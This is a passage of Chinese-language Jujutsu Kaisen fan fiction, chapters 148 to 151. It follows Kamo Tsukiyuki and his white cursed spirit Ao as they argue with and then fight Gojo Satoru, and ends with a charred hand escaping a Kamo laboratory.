他若是此刻抖开桧扇,就真有那种古代阴阳师的狡黠风雅意味了。可惜就是藏身在了屏风后,无人能够瞧见。但与此同时,神秘的意味又被大大加强了。他说:“在即将到来的风暴中,我只是一艘孤独无依的小舟,你们若是将心力放在我这边,只会是徒耗精神而已。” 有人还是忍不住道:“就算你掌握了一项操纵咒灵的秘密术式,那也不是你屠杀了那么多加茂家高层的原因。如果不是他们都死光了……” 加茂月行将一叠东西扔了出来。文件并不厚,但也不薄,是用雪白的A4纸打印出来的。 有暗中的人赶紧走上前来,将这些东西一一分给了众人。 五条悟看了看文件上的内容,看完后,他笑出了声:“原来身为御三家之一的加茂家,竟已有一半的人在暗地里被另一个神秘人掌控住了,这是真的吗,所有的保守派都成为了一个外人的棋子,哦,还有不少确凿的证据?” 屏风后的人纷纷切切地私语起来,一时之间,这处集会竟前所未有的热闹起来。 “原来御三家这么挫的吗?亏我之前还对你们有那么多期待。”五条悟假心假意道。 “那个人是谁?”临近的一个人震怒。“居然从暗处侵蚀一个古老的家族,”有人不禁道:“他到底有什么目的?” “除了加茂家,他还对其它家族做了什么吗?”这是他们真实的担忧。 五条悟好整以暇地看着这群慌张起来的人。但有一半的心神都放在了那个引起恐慌的源头之上。他没有指出这些证据文件应当是在事后收集起来的,除了那些确凿的证据,里面还掺杂了很多的私货;就像再没人提起,加茂月行在那一战中是将整个的高层都杀光了,他清理的是加茂家主脉族地中三分之二的人口,里面必定有未曾加入的。 “这个,”加茂月行叹了口气:“我没有查出来……那个人最初行动的时候太久远了,动作也极为隐蔽,没留下什么线索。” 五条悟冷眼旁观着这场闹剧。到了现在,什么两面宿傩、什么特级咒灵、什么新上任的加茂家的家主,都可以容后再谈。他们更关注的是自身,对于自己家族的担心压倒了一切,恐怕现今最想结束这场集会的,正是他们。 加茂月行的上位,至此,已无最后一点异议。 他学生们的担忧成了真。 但,管他的呢!他五条悟本就不注重这些。他现在更关注的是这个人。他在想,他会给这个咒术界带来什么影响,是会将其拖入深渊?还是为本就糟糕的世界续上一波血? 他在心中做下了一个决定。 离开那个逼仄的房间,连呼吸入的空气都是新鲜可亲的。五条悟给学校打去一个电话,延迟了一下回去的时间,然后就找寻到一个方向,掀开眼部上的布条,下一瞬消失在原地。 这里是一处郊外的地方。一辆汽车正笔直地驶向前方。驾车的是加茂家的一位中年的咒术师,他沉默寡言,是五长老麾下的得力人手。 加茂月行安静地端坐在后车位上,他双目微阖,像是在休憩,又像是在沉思。苍就坐在他身侧,其身形瘦长,浑身洁白,既有一种诡奇的神异感,又有一种仿佛能随时随风而去的轻盈之姿。 倏然,苍抬起头来,绸布条下的双眼看向汽车的正前方。 加茂月行察觉到了他的动作,也看向了前方。 一个人影踏足在半空中,慢慢地从天上降落下来。司机愣愣地看着他,不由的将汽车驶慢。 五条悟一改方才的装束,白色的利落短发清爽地垂下,一双如晴空一般纯澈的苍蓝色眼瞳正直直地看着车里的人。平日的他搞怪没个正形,但此时的他,还真有一种神子的淡漠无情之感。 他首先看到的就是坐在加茂月行身边的苍。如出一辙的遮眼的布条让他挑了挑眉,咒灵身上不该有的理智与安静更让他感到好奇,他预感到自己能见到一些特别的东西,他降落在了地面上,安静地等在那里。 加茂月行安抚了下司机。他也没有犹豫,带着苍就从车厢内走了出去。外界的风挺大,吹起了他的衣衫,他来到五条悟的身前,深深地凝视着他:“五条家的神子,突然拦住我是为了什么?” 五条悟依旧在关注着苍。他能够感受的出来,这个奇特的咒灵与他所见过的所有都不相同。最起码,它从外表上就比他见到的要顺眼的多,它甚至是纯然而美丽的,这几乎是一种根本不可能在咒灵身上出现的特质。更不要说据他所查到的,这是一个需要用人的寿数来供奉的怪物。 他能够感觉到它在看他,用一种晦暗的、不引人关注的视线。它微微低着头,乖顺地站立在一边。但他还是能够察觉到它身上的那种神异,它不该是亲身履足大地的存在,而应该是被人供奉在神龛中的,如此才能不辜负它一身的洁白。 但它也依旧是最危险的,哪怕它什么都没做,在五条悟的观感中,它也是该被标注为深红色的一点。他看向加茂月行,这位加茂家的新家主就这样站在原地,任由他打量着他们,面上带着笑意,一点也不着急的样子。 五条悟终于开口说话:“你的传闻有很多。有人将你渲染成咒术界中勾结咒灵的叛徒,也有人将你视作以杀上位的残忍的野心家。但我认为,无论怎样的流言,都不如亲身来相见。” “在集会中你说过了,你想要来见一见我。那么此刻,就轮到我来看一看你了。”他没有再看苍,而是将视线转到了加茂月行的身上,他注意到了,苍是退在加茂月行一步之后的。这个人确实是得到了白色咒灵的助力,他们之间的关联,恐怕比所有人想象的,都要紧密。 第148章 一代人的事就要在一代解决 “毕竟, 间隔了一层屏风,怎么能说是已经见过了呢?”五条悟淡然说道。 这位五条家的神子绝对来者不善,他现今的神态可不像是什么都不做就愿意放他们过去的。加茂月行也是首次真的见到六眼, 其给人的压力确实如传闻中所说,宛如天倾。 “哦,五条家的神子也要插手其它家族的夺位更替事宜么?”加茂月行一点也不慌张。他好像从始至终都没想过隐瞒, 就算是一位特级的咒灵,他也会随时将它带在身边, 哪怕是来到咒术界高层的集会场合,也不吝于将它携带而入, 毫不避讳自己的与众不同。 这确实是一个问题。五条悟有他的身份立场,哪怕他很少顾及它, 但在越是古老的阶层里, 人们就越是介怀立身之别, 因为你往往投入进去了,另一方也不会感念你。 反倒会警惕你。因为肉要烂在锅里,多出来的乞丐才是真敌人。插手其他人家中的事, 就是现代的人也很少去做。没有名义, 也没有必要。 最起码现在的他, 连外界的一个咒术师都没有杀死。五条悟咧开嘴一笑:“我可不管那么多。唯一的一个与咒术师随时同行的咒灵, 和‘咒灵操术’完全不同,我再怎么样也要来看看, 如果对咒术界有威胁, 那干脆从源头上在这里将你们剿杀掉,也避免以后再闹出什么事来。” 加茂月行同样也笑了, 他若有所悟道:“原来如此,咒术界的第一人其实是在把整个咒术界都看作了自己的后花园, 其中的蝇营狗苟不管,但只要有一点不在你预料中的改变,你就要用大力去打压它,不能容忍它有一丝成长——说是咒术界的改革派,但其实你,五条悟,才是守旧派最忠实的守户犬吧?”他侧目看他。 五条悟愤怒之极,他没想到有人说话竟如此难听,比用最脏的话来痛骂他都要让他来的恶心,他全身的每一个毛发都在叙说着抗拒,被归类到烂橘子的那一方,还是他们的狗,这让他感觉自己脏了,从内到外。 他美丽的眼瞳中闪过涛然巨浪,他死死地盯着他:“你在说什么*话?” 不在意五条悟的脏话,加茂月行一笑道:“难道不是么?你想一想,你嘴里说着改革,但你真的有做出什么符合你咒术界第一人身份的事吗?” 现场的氛围压抑到令人窒息的地步,除开场中的二人一咒灵外,再没有人能在其中保持镇定。加茂月行依旧是笑着的,但这笑容也逐渐显露出了其中的虚假,他开始展露出自己一部分的本质:“我从前就知道加茂家的主脉早已是烂透了,也从不对咒术界的高层抱有期待。而现在等我亲身来看,他们也确实是——烂过了。” “‘连咒力都体会不到的废物……’” “你知道他们是如何看待这世间的吗?”加茂月行开始回想起自己在来到集会后听见的话。 “‘真是讨厌啊,从古至今都是这些废物们占据了最多的土地,现在都敢大言不惭地自诩为世界的主人了,这些家伙们……’” “还有除他们之外的其他普通的人?” “‘完全不用那么担忧它们,密密麻麻的,就像虫子一样,怎么都死不绝。资源给他们也是浪费了,这种生命,再渺小不过了。只用维持住一个最基本的数量,繁殖……’” “就像是腐烂的肉泥,”加茂月行回想着那些话,他说:“不赶紧剔除,还要用最优厚温暖的土地翻来覆去地蕴养他们,结果就诞生出了一堆的畸形种。” “连我都不敢有这种想法,”他微笑起来:“他们倒是胆子大,思想也开阔,看待这世间与同类,如此的,‘别具一格’。” “你看啊,”他倾过身来道:“就是这样的咒术界高层,你没有一丝的改变。而当有了变化,你就第一个跳出来,这不是守户之……”是什么? 后面的话没有说完,铺天盖地的压力就从前方汹涌而来。五条悟面无表情地看着他,苍蓝色的眼瞳中是一种令人惊骇的冷漠,他的身形静止不动,但一种强大的排斥力自他的身上生出,加茂月行被压得往后飞退,风势浩大中,不得不抬起手,遮眼看他。 苍跟在他身边。汽车中的加茂家的咒术师赶忙对手机另一面的人说些什么,他面露恐惧地看着前方那人,口中慌张道:“是六眼,五条家的那个……最强……” “那些家伙们,确实是令人闻一闻都想作呕的渣滓,”五条悟抬眼望他,“我也曾想过,要不要对他们动手……但那不是你能在这里混淆概念的理由。” “他们固然是恶心的,可这与你之本身的危险性有什么关联呢?”五条悟往前缓缓走出一步道:“咒灵与咒术师结合在一起本就充满了不确定性,咒术师是站在咒灵与人类之间的最后一条防线。如果是利用术式还好说,可依我看来,你们之间的关系似乎并没有对彼此有约束。不管如何,确认你的情况,难道不是应该做的吗?” 他的眼瞳绽放出蓝光,是运行了术式的标志。晴天白云之下,他宛如是苍天的代行者。 可纵使如此,加茂月行也没有露出一丝怯意。不愧是一个能从御三家中杀出来的人。他笑得更为肆意了:“那你还说不是?因为有了不确定性就赶忙要来祛除,你这还不说是守旧派?” 五条悟平静无波的脸上闪过一丝恼怒。现在的他在听见“守旧派”三个字时就忍不住心生愠意,这在他以往开了六眼术式后是从没发生过的事,他的神色更冷了。 “还是说,你的改革只是喊喊口号,”加茂月行从被推出中重新站稳了身体,他略微歪了歪头:“也是,看一个人的立场不应该看他口中说了什么,而是要看他本身做了什么。” “你做了什么?有创写出改革的条例,还是说推行了一些新的咒术界规则?”他面露疑惑。 “哦,都不是,你跑去咒术界高专当老师了。”他平静地说:“你什么也没做。用着第一人的身份,去和那些后一代的人混在了一起。” “你想干什么?”加茂月行抬眼讽刺:“将希望放在下一代。我明白了,未来总是好的,你还是对这个世界抱有希望的。” “可是,如果连你这个自傲的‘最强’都做不到,凭什么你认为,那些下一代连你都不如的孩子们能做到?”他是真的很迷惑。 “而要做到那些,他们又要在这其中付出多少的代价?又要花费多久的时光?”加茂月行的目光宛如刺透了什么:“改革想要不流血?”他振振衣衫,悍然向前:“何等天真可笑的想法?” “你还生活在六七岁吗?”他毫不留情地进行讽刺:“你要进行的改革,是小孩子家们的请客吃饭吗?你如果不让他们流血,就只会让你所寄予厚望的人在日后一代代地付出他们的血。你一时的软弱,自会有后来人付出代价。” “一代人的事就要在一代解决,如果你真的要将所有的负担完全交给下辈,并美名其曰‘期望’,”他的脚步继续往前,在这一刻,原本心情始终平稳无波的五条悟,竟有了一种想要往后退出一步的冲动,“那我就只能说,这实在是一种懦夫的行为。” 五条悟的双眼猛然睁大。更大的波动以他们为中心爆发开来。无数的白骨的“游龙”一瞬间穿插而出,宛如那日的重现,还有那个白发傲然的身形踏足到了天空之上。汽车中的加茂家的司机完全不敢再待在原地了,他猛一蹬脚,车如离弦之箭一般从那个战场中飞速逃出,现场没有一人将视线投过来。 五条悟抿着嘴,他什么也没说。或许是此刻他也不知道该说什么了吧。他从前从不将搅弄唇舌之辈看在眼中,但在今天,他第一次知道了,有人的话语如炙火之剑,一剑插入心中,是怎样的感受。 苍也飞了起来,他白色的衣服在风中纷飞,唇边溢出邪异的笑意,他阻挡在五条悟的身前,细长的手指做出一个诡异的手势,立于白骨的囚笼之中,犹如一地的主人,在面对着僭越的闯入者。 加茂月行这一次没有只站在身后,他伸出手,同样发动了自己的术式。 第149章 与最强的交手 加茂月行是在诡辩, 他自己也清楚明白这一点。但这并不影响他将五条悟说到红温,因为这些话都是投箭,每一箭都直直地插入到了他的薄弱处。正因为被戳中, 所以才会恼怒。五条悟是政治素养不行,但不代表他是一个听不懂人话的傻子。正确才会让犯错者退却。 五条悟心中如有千般话想说,但在加茂月行的步步紧逼下, 他一个字也说不出来。既然已经动手,那就干脆将之打败, 再有什么事,等战后再说。 司机与汽车已经消失到没影。苍站立在五条悟的身前, 他们二者都是飘飞在空中的。咒灵的面上带着诡异的笑,他的术式是能够将所有曾属于他的信徒们的尸骨组合起来, 用他们的脊骨组成一条条白色的骨质长形, 它们拖曳着游动着, 发出嘎擦嘎擦的不停晃动的声音,密密麻麻地将这片天空横七竖八地封锁起来。 可这并没有阻拦住五条悟,当他用那双无比澄澈的眼睛看人的时候, 人会以为自己见到的是最为接近天空的神祇。他的身边没有白骨能够靠近, 仿佛有一股排斥力始终环绕在他周身。白骨占据了所有的天空, 唯有他所在的地方, 空出了一小块。 「停止之力」,无下限咒术, 五条悟无时无刻不在运转着的咒术, 能够让任何的攻击无法攻击到他本身的术式。而在下一瞬,五条悟的双眼大睁, 他用一只手的两指比了出来。 无数靠得最近的白骨陡然间发出玻璃破碎的声响,一股无可匹敌的浩然力量扭碎了它们, 它们化作了细碎的骨渣,从天空之上掉落下来。五条悟平静却挑衅地看向苍与加茂月行,与此同时,口中淡淡地说道:“术式反转「赫」。” 这就是你咒灵的力量吗?身为第一个同人类混在一起的咒灵,你就只有这等耍弄骨头的手段?他没有说话,可他的意思表达了出来。战斗中的五条悟静止下来了所有的思绪,之前的烦忧都被他抛到了一边,冷冷地看着二者。 苍没有动怒,「飨食之宴」本就是他的起手式,此招最大的效用是“控场”,在进行大规模的交战时,有着得天独厚的优势。白骨会衍生出更多的白骨,被它夺走生命的每一位,都是他下一次使用「飨食之宴」的耗材,而越是耗材堆积得多,这一招的威力与范围就越大,是一招可成长的技能。 他唇边的笑意加深,眼带后无形的目光注视在五条悟身上。对方眼神一厉,转瞬间就消失在了原处。下一刻,他出现在苍的眼前,彼此之间距离只有十几公分,一只手凝聚起一个坍塌般的幽蓝色漩涡,狠狠地要砸在苍的躯体上。 一股什么被牵动的恐惧感自五条悟的心中生出。他的招式落空,苍宛如纸片一般从他的身前滑溜而走,其双唇开合,吐露出一句意义不明的话语。五条悟没有听清,似乎只是一些自言自语的话。 但更多古怪的话也在他耳边响起了,似乎是有很多人在他身旁呓语,他们在乞求,他们在赞颂,他们在孜孜不倦地、日复一日地跪倒在一座高大的神像身前,恳求怜悯。他们化作了一道道失去了人形的黑色长体,可即便如此,仍要从地狱深渊中向神伸出无限渴求的手。 “寿哉寿哉!”“慈悲慈悲!”他们在永无止尽地呐喊。 可在下一瞬,这些怪物就一齐向他望来,恐怖恶毒的视线落在他的身上,“生人,是生人!”残酷狠毒的话从他们的嘴里倾泻出:“去死,生人!诅咒你,诅咒你!” “福津之神,司诅咒、断运、横死、斩嗣、移寿,圣寿绵延,长恩永存!”有一道苍老的声音念诗一般将这句话高高念起,五条悟感到有什么东西即将降临在他身上,他默不作声,只是将无下限术式运转到最大。 “「天地游鱼」!”突然,一直被他关注着的加茂月行却是毫无预兆地开口吐出这四个字。 天地一下子就昏暗起来,之前还晴空朗朗的天际瞬间就转变为了流动着的暗黑。但它也不是全然一色的,而是一种带点微光的斑斓的深邃。五条悟几乎是下意识地就要展开他的领域,但就是在那一刹,之前还一直被「停止之力」排除在外的无形之物终是降落在了他的身上,领域破除了他的咒术,他感到自己好像有哪一处被沾染上了。 他的手势一颤,领域居然发动失败了。是他体内的咒力在几乎不可能间流岔了数分。 苍的神情依旧是淡淡的微笑着的,他就好似是一位始终沉默不言的神明,动手时却格外迅捷冷厉。 ——「咒厄,神言」,能够将曾经人类寄予在他身上的一切负面的期盼,化作诅咒,加持到另外的人身上去。处于这种状态的他,只会一切不顺,并在一段时间后,真的绝嗣短命。 这不是战斗的招数,但能给敌人加上一层有效的debuff。 而与此同时,两条格外大的散发出荧光的游鱼出现在这一片领域当中,它们有着华美且闪耀的身形,空气中满是能供它们游动的银汞质感的透明物质。长尾摆动间,片片鳞片如梦似幻划过,口中一刻不停地发出一种悠长又空灵的鸣叫。 但五条悟的脑中却是突突不停地给他发出危险的信号。他紧急闪开一条突然游走过来的鱼,可那鱼却仍像是从他的身上夺走了什么,他痛苦到蹲下身来,一手捂住了一边的额头。 “是你,”他明白了过来:“之前的你早就发动了术式,只是一直太过隐晦无痕,所以我一时没有察觉出。你的术式其实都是作用在灵魂上的,你在刚才的话也是为了挑起我的情绪,这有利于你的发挥,我没有意识到,中了招。” “这两条鱼瞄准的是我的灵魂,它们是以灵魂为食的领域中的怪物,人要是在这里待得久了,灵魂被啃噬干净了,留给外界的,只会是一具完好无损的身体,”五条悟撑起脸,他的眼瞳中满是痛苦:“你不是没有战斗力,或者说,你的战斗力在这之前的一年里已经补齐了,你瞄准的是人类的灵魂!” 好啊好啊,你们一人一咒灵,一者需要的是外面的尸体,一者专攻的是内里的灵魂,还真是相辅相成,一点残渣都不给人留下啊! 加茂月行哪怕占据了如今的优势,也一点不会看轻五条悟。这位咒术界的第一人其实是名副其实的,就连后面的两面宿傩,如果不是利用了伏黑惠的术式,也不会夺得最后的胜利。裴真的其他几个马甲也在一同关注着这里。 他缓缓地往前走出几步,道:“其实我最初在加茂家的时候,对你这位咒术界的最强一直都是有着一种不切实际期盼的。尤其是在听闻了你的改革之言之后。” 五条悟没有动,谁也不知道他是在想着些什么。 这在加茂月行的“记忆”中确有其事,只是占据的比例很小。“我一直在等待着你给这个咒术界带来改变,”加茂月行的眼神始终都很平静,但在这时,终还是流露出了浅浅缕缕的失望:“先是御三家,但御三家就如同千年传下来的腐烂老窖,说改易是何等的艰难;于是我就想,不动这庞然的‘大物’也行,从另外的几面开始或许会简单很多。可是……没有。” “我期盼了很久,也等了很久,可等到最后,才发现,你什么都没做。这个咒术界与之前相比,没有一丝改变。你的这个咒术界第一,什么作用都无。你只是在彰显一种武力,可却连这武力应当带来的影响也没有。”加茂月行就这样看着他,“于是我就明白了,是我擅自赋予了你太多的期待。因为一个第一的名号,就认为你会做出什么了不起的事来。” “可谁又规定了你作为最强就定要做出什么事来呢?”加茂月行声音淡泊中带着一种奇异的怜悯,最起码在五条悟耳中是这样的,“你只要不胡作非为,不肆意妄为地做恶事,就已然是一种善行了。”加茂月行摇了摇头:“拥有了力量,不代表拥有责任。你其实没有那样的职责,一切的一切,都只是人强自加在你身上的。我应该,”他浅浅地鞠了一躬:“为我擅自对你的的失望感到抱歉。对不起了,五条悟。” 五条悟一瞬就爆发了。他这次是真的爆炸了,他周身的领域以一种超新星般的速度膨胀开来,无尽的信息的乱流在这处领域中乱窜,排斥开那种粘稠的银汞般的空气流液,他孤傲地腾空而起,一双苍蓝色的眼中是无尽的冷漠。 「无量空处」! 五条悟生生在加茂月行的领域中将自己的生得领域也展开了。 他的骄傲让他不容许得到加茂月行这样的评价。“改革”曾是他所言的,也是他自己决定要施行的,虽然现在看来,他的所为是一败涂地了,但绝不容许……绝不容许他用这般的话来羞辱自己! 加茂月行一刹感觉到了头脑被塞满的痛苦。荧光的游鱼长鸣起来。在他的眼中看来,这块两个领域重叠之处,已经被许许多多无形无质的东西充满了,其内的光质闪耀着各色的光,使其更像是一个无限奇幻的空间。 第150章 各出奇招 五条悟在与加茂月行见过之后, 已经是几次失去仪态了。他不是不知道,这些言语很可能是与其术式有关,也不是不知道, 对方避开了有关自己的事,只将关注点放在他身上,是一种极端狡猾的做法。 但是……很生气啊!生气到整个头脑都要爆炸了!必须要将这个敢于这样对他说话的小子打到痛哭流涕为止!现在已经不是咒灵的事啦! 两道领域进行着最激烈的碰撞。五条悟在上方居高临下地看着加茂月行, 月行捂住头,强忍着站了起来, 五条悟的眼神也更为严肃了。「无量空处」是用大量有效无效的信息去无时无刻填充人的大脑的招数,一般来说, 没有人能接受得了这种瞬间过载的冲击,尤其还是人类最脆弱的大脑部分。而能够忍受住的, 就绝非普通的敌人。 裴真的几位马甲一同皱起眉头来, 过量的信息涌入, 让他们有种像是吃了什么饱胀东西的感觉,整个人有想要呕出的冲动。 加茂月行咧嘴一笑,额上流下的汗让他看起来有些狼狈。他立刻就进行了自己的反击, 那两条游曳的荧鱼陡然间以五条悟为中心迅速旋转起来, 它们头衔着尾, 尾接着头, 很快就见不到它们的身形了。五条悟想要离开,但这个流光的包围圈已经将他全部的路线阻挡住了。他刚想要做些什么, 某种不妙的预感就从他的心底猛然生出。 “轰轰轰——”一道剧烈的爆炸从他所在的地方炸响开来, 在加茂月行的眼中,那些无形的各质的光在一刹那中变为了混沌之色, 鱼看不见了,五条悟的身形也被淹没了。 这就是他的生得领域, 「天地游鱼」,它所有的效用都是冲着对手的灵魂而去的。只要你被囊括其中,你的灵魂就会从你的躯体中散发出来,游鱼会噬咬你的灵魂,让你感受到一种前无所有的痛苦。在这里,你的灵魂甚至能化为实体,真正出现在人的眼前。 而这次爆炸,就是一次对于灵魂的超绝攻击,是加茂月行领域中的一项大招,能够对其造成一次无可抵挡的恐怖伤害,柔弱一点的,甚至能一次性将其灵魂震散!可,没有惨叫声。加茂月行的神情不变,他感到自己被信息填充满的大脑好了很多,嘴边的笑容加深了稍许,他的手指微动,其中有一些流光般的东西在隐隐闪现。 静止了片刻后,就在加茂月行心中刚要生出疑惑时,猝然间,一道弯月般的攻击从内里迅速袭来,光质溃散,其凌厉的攻势仿佛能撕开空间,一道身影紧随其后,五条悟从中冲了出来,犹如刚经历过一场生死搏击,他面上有些苍白,一双苍蓝色的眼睛睁得很大,瞳孔缩在其间。 “虚式「茈」。” 他一边冲出,手中还做出弹指的动作。就是以此,他用这招杀伤力最大的招数,将那两条阻拦他的鱼,还有它们在后面制造出的包围圈破除,从爆炸中砍出一条路。可尽管如此,他也还是受了伤,他看向了加茂月行,脸上的表情在没有特意控制时显得有些瘆人,他手指动作再动,就要一式袭向他的方向。 这样可不行。苍蓦然出现在了五条悟的身后,他方才不知去了哪里,此时才显露出来,他也是在飘飞着的,白色的衣装纹丝不动。他嘴边的笑意危险又诡异,他轻轻启唇,无声地吐露出一句话:“「祭神场」。” 最初是老年人走进山里,他们在没有食物的荒年中,或主动或被迫地进入到后山,在那里结束掉自己毫无价值的生命。等到鸟雀啄食他们的身体,在某一日间,咒灵就诞生了。诞生出的咒灵寄托了他们对于寿尽的无限恐惧,它游荡在村后的后山中,直到遇见了第一个不得不走入后山的中年人。 它的存在,对于人们来说,无疑是幸运的。因为灾荒会带走人的生命,兵匪会带走人的生命,若是用往后都有可能用不到的寿命换来一些生存的保障,这对于当时的人们来说,就是仙神般的存在。他们与它定下约定,以此结成人与神之间的交易,并借此活了下来。但很快,这项仪式就扭曲了,他们签下了以他人生命为代价的契约。 这就是神的祭场啊! “嗡。”一种无形的震颤在这片区域中响起,在这两层重叠的领域当中,又有第三者降临在此了!他们没有听见苍的声音,可依旧还是能感觉到,有某种变化发生了! 原本充斥着无形信息与光质的地域中,有另外的东西静悄悄地出现了。无数黑色的怪异的人形石像丛丛地散落在这片空间中,它们姿态各异、或大或小,有的形容模糊,有的面貌清晰,但都是在朝向着一个方位。 而就在下一瞬,五条悟意识到的刹那,这些石像像是察觉到了他的窥视,陡然间一起转身向他望来。它们每一道的目光,都是如出一辙的贪婪与恶毒。 五条悟真切地感到一种流失,是一种说不清楚道不明的东西,从他的身体里、从他的精神上,流向一个神秘浩瀚的存在。他并不信神,可他又能感觉到,在这些石像连通的最后,在这一切最终点的存在,就是被称为“神”的伟岸生物。 「祭神场」,来到这场合的,又怎么能不是祂的祭品呢? 加茂月行轻轻一笑,他抬起手,两只手臂交叉现于身前,十指之间各自夹着一道道晶莹闪亮的丝线,丝线的另一头指向五条悟,但真实的形体却是瞧之不见。他不会给五条悟留出任何的反应时间。 “‘怒、惧、哀、憎、恶……’”他将所有的丝线都拉直,一双幽深的眼睛就在这些丝线后看着五条悟,他每说一个字,五条悟的心中就微微闪过一些对应的情绪,“怒+惧+爱,是阴暗偏执;哀+恨+悔,是悲郁自毁……”他掌握着这十根,乃至更多的丝线,就是掌握着五条悟心上情绪的生成。 这并不是一项简单能施展出来的术式。在设计之初,他花费了很大的代价,咒灵真人更是被他研究毁损了数百具的分裂体,羂索也在他日复一日地折磨中不得不贡献出自己的脑细胞。他在真人的身上试验过,也在一些加茂家带过来的罪犯身上试验过,但五条悟还是他第一个以此式面对的咒术师。 他并不是一个喜欢多说话的人,他深切地明白“反派死于话多”,但他今日却对五条悟说了这么多,原因自然不是对五条悟的“改革”感到哀其不争,他与他之间的关系还没好到那种程度。只是五条悟的灵魂太过坚韧,为了让自己创出的咒术的术式能在他身上起到效用,不得不率先用言语去动摇他的心神。 此实为两式的叠加,其名为「刻印」与「心弦之音」,就如同是五条悟的「茈」,是一项很复杂的招数,自然效果也是最好的。加茂月行将其称之为「鸣」。 「祭神场」与「鸣」的一起攻击让五条悟也不由得怔在了原处,他手中的术式也没有发出去。从未有过数目的沉重情感犹如调色盘一般出现在他的心中,渐渐的,他的眼眶红了起来。 他也体会到了一种过于臃肿的事物被附加在自己身上的感受。 他怒抬头,疯狂地朝着苍冲了过去。 ………… “啊,对对,是这样的没错,您没有听错。”在将车开出了好远后,那位加茂家的司机拿着手机,向另一边的人不停地在汇报着,“家主大人确实是和那位‘最强’打起来了。是他先拦住我们的,好像是对苍大人的存在有异议,家主大人就嘲讽了他几句……” 看着那边巨大的动静,司机额头上出满了汗,用口袋中的湿巾擦了擦之后,他继续说道:“我也不知道是谁先动的手,我只知道,家主大人先是将他困了起来,再然后,就开了生得领域……啊,我不知道大人的生得领域是什么啊,难道长老您也不知道?” “你问谁占了优势?”司机面色古怪,他看着距离自己不远处的那处领域的外膜,喃喃自语道:“您说有没有那个可能,我其实是在战场外的,因为逃了出来,所以才有命给您汇报消息。” “是月行大人在下车前吩咐的,”他说:“如果有不对,让我赶紧离开。是的,家主大人有可能早就有了预料。” 且不说急得团团转的加茂家立刻就去给五条家打去了电话,五条家的人在得知消息后也是颇为诧异。他们根本不知道五条悟究竟去了哪里,他们也管不了他;至于说探究加茂家那位新家主的秘密,他们并没有那个打算,因为有六眼,所以近些年来,五条家是三个御三家中反应最慢的一位。 这边的战斗也很快引起了咒术界高层的关注。交战双方的身份令这次战斗的结果格外特殊起来。没有人认为五条悟会输,就是加茂家的自己人,也不认为自己的家主有多大的胜算,尽管他将自己一整个家族掀翻了。 而就是在这种时刻,在加茂家的一处绝密的实验室中,一只烧焦的右手从一处写满了黑色咒文的房间中逃了出来。它的动作小心翼翼,不敢惊动任何人,就这样悄悄地从这边的族地中溜了出去。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 150-160 第151章 战终 已经很久没有人敢于挑战五条悟第一的地位了, 前一个能在他身上留下如此伤势的,还是那个叫作“伏黑甚尔”的男人,他自己也没料想到, 在他已经高高在上了这么久的现在,突然就出现了一个能暂时将他压制住的人。 准确来说,是一个人和一个咒灵。 但他不在意这些。他的头脑中各种各样的情绪像是沸汤一般搅和在一起, 陌生的自卑与悔恨、熟悉的傲慢与张狂,它们纷纷拥挤在他的脑海里, 就像从前缺失了二十多年的情绪忽然一下子返还到了他的身上,他就如同是由一个神变为了一个人, 而紧接着,他要为这些混乱无序的情感折磨疯了。 他像野兽一样怒吼着, 疯狂地向前冲击着, 要将这些多余的情绪发泄出去。他首先冲向的是苍, 因为他距离得最近。他每一招每一式都会带动起极大的声势,很快就在领域中引发了炮弹般的效果。 苍总是在他打击到之前闪躲开来,迷失了理智的五条悟极为危险, 可也是因此, 他不再像以前那般无法对抗。他再不掩饰自己的异常, 嘴部裂开到一种不可思议的弧度, 从白色衣袖中伸出的手,也是修长到诡谲的地步。所有的雕像都仰起头, 望向他那里, 仿佛是要将所有的力量都献祭给自己的神。 他与狂暴的五条悟对战起来,这片领域很快就陷入到了湮灭般的灾劫中。“叮铃铃铃。”外界的人不断地在给五条悟打电话, 可一连拨了好几个都无人接听,高层的人面面相觑, 他们不知道该说什么为好。只余下加茂家的代表人脸色青白,像是恨不得立时晕过去。 裴真自然不知道另外人的焦急,自加茂月行与五条悟交上手后,他就将全部的注意力都投往了那里。他没有将心神降临在加茂月行身上,因为他知道,这是属于另一个自己的战斗,而他不是对这没有预备。 艾略特感觉到某一处有异动,可他也只是浅浅地瞥了那里一眼,就不再管。生得领域排斥异空间的开启,但没关系,其中的两位是自己,他们可以随时为他打开通道。 这场战斗对于他们而言绝非生死之战。这已足够。 加茂家的五长老飞速地往这边奔来,伴随着一些咒术界的人。庞大的暗黑色的领域史无前例地将一整片的区域都囊括了进去,但所有人都只能站在外面,无法前进一步。 他们等了很久,久到以为司机说的在战斗是假的,也没有见到有任何一人从之中出来。五条悟感到这是自己经历过的最为艰难的一次战斗,与伏黑甚尔的交战是极度的危险,稍有不慎便会被“掏心掏肺”,而这一次,他则是背负着心灵与身体上的双重折磨,与另外一位超危险级的咒灵搏杀,对方每一次打在他身上,都是在给他极为糟糕的情况再加上层负担。 他本能地想要去找另外一人,但苍每一次都会阻拦在他面前,将他所有的道路都堵住,他被迫又陷入到之前的战斗中。他就像是进入了一个死胡同,不把眼前这个咒灵打败,就无法彻底解除身上的双重负增益,但不解除这混乱的状态,又很难将这诡异的咒灵击落。 加茂月行苍白着脸,他的状态同样不好,虽然有主体和其他的马甲分摊了五条悟「无量空处」塞来的信息,但到底还是超过了人脑所能处理的极限,再加上还要对五条悟的灵魂施加情绪上的影响,他终是无法亲身介入到苍与其的交战中。 可他除了脸色,没有将这些向外表露出一丝。 一只焦黑的手臂好不容易才从加茂家的族地中逃了出来。它浑身干瘦,看不出一点的皮肉,比起手臂,更像是燃烬的柴薪。因为没有任何的力量,所以不敢惊动随意一位加茂家的人,再加上还有那个男人,它更是不敢回转过去半分。 “没想到真人消失也同样是落在了那个人的手中,”手臂飞快地要远离这块地方,离得越远越好,速度更快些才好,“该死,怎么会突然出现这样一个人,明明之前一点异样都没有!” 只是一个被欺压的底层支脉家的人,怎么会忽然就拥有了这等力量。哦,对了,那力量其实也不是他的,是那个白色的古怪的咒灵的……那咒灵又是为何非要听他的,造就了这样一个恐怖的家伙? “这下所有的计划都被打乱了,”手臂阴沉沉的:“真人被逮住,连我自身也陷入其中这么久。若不是这次碰到了一点属于‘真人’的残渣,我恐怕根本不可能逃离那具躯体。代价是一大部分的灵魂被留在了那里,估计没机会找回来。” 上次之后,拴在他与真人之间的“红丝线”已经被加茂月行拿了回来,所以这次他才有机会碰到“真人179号”的一部分躯体,并利用其特殊性,以一只手臂的形态,偷溜了出来。 